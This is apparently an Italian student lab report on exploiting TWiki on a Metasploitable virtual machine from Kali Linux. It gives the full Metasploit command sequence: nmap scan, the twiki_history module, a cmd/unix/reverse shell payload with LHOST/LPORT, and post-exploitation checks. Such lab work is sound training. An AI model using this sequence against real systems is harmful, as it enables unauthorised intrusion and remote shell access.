

## Report di Vulnerabilità: Sfruttamento della Vulnerabilità di TWiki su Metasploitable

---

### Introduzione

In questo esercizio, utilizzerò Kali Linux per sfruttare una vulnerabilità sulla piattaforma TWiki ospitata sulla macchina virtuale Metasploitable. Questo processo è stato svolto in un ambiente virtuale controllato utilizzando VirtualBox, con le seguenti configurazioni di rete:

- **Kali Linux IP:** 192.168.1.111
  - **Metasploitable IP:** 192.168.1.112
- 

### Passaggio 1: Configurazione iniziale

Per prima cosa, ho avviato entrambe le macchine virtuali e verificato la loro connettività sulla stessa rete.

- **Comando eseguito su Kali Linux:**

```
ping 192.168.1.112
```

---

### Passaggio 2: Scansione delle vulnerabilità

Ho utilizzato Nmap per scansionare la macchina Metasploitable e identificare i servizi in esecuzione, cercando in particolare TWiki.

- **Comando eseguito:**

```
nmap -sV 192.168.1.112
```

---

### Passaggio 3: Avvio di Metasploit

Ho avviato il Metasploit Framework su Kali Linux.

- **Comando eseguito:**

```
msfconsole
```

---

### Passaggio 4: Cerca il modulo di exploit TWiki

Ho cercato un modulo di exploit per TWiki all'interno di Metasploit.

- **Comando eseguito:**

```
search twiki
```

---

### Passaggio 5: Selezione del modulo di exploit

Dai risultati della ricerca, ho selezionato il modulo exploit/unix/webapp/twiki\_history.

- **Comando eseguito:**

use exploit/unix/webapp/twiki\_history

---

### Passaggio 6: Configurazione del modulo

Ho visualizzato e configurato le opzioni necessarie per l'exploit, impostando l'indirizzo IP della macchina target (Metasploitable).

- **Comando eseguito:**

show options

set RHOST 192.168.1.112

---

### Passaggio 7: Configurazione del payload

Ho visualizzato i payload disponibili e selezionato cmd/unix/reverse.

- **Comando eseguito:**

show payloads

set payload cmd/unix/reverse

---

### Passaggio 8: Configurazione del payload

Ho configurato le opzioni del payload impostando l'indirizzo IP di Kali Linux e la porta da utilizzare per la connessione inversa.

- **Comando eseguito:**

set LHOST 192.168.1.111

set LPORT 4444

show options

---

### Passaggio 9: Esecuzione dell'exploit

Ho eseguito l'exploit e ottenuto una shell sulla macchina Metasploitable.

- **Comando eseguito:**

exploit

---

## Passaggio 10: Verifica dell'accesso

Ho verificato il successo dell'attacco controllando l'accesso alla macchina target.

- **Comandi eseguiti:**

whoami

uname -a

---

## Conclusione

In questo esercizio, ho sfruttato con successo una vulnerabilità di comando arbitrario nella piattaforma TWiki ospitata su Metasploitable. Questo esercizio ha dimostrato l'importanza di mantenere aggiornati i software e di monitorare regolarmente i sistemi per vulnerabilità note.

---

Screenshot:





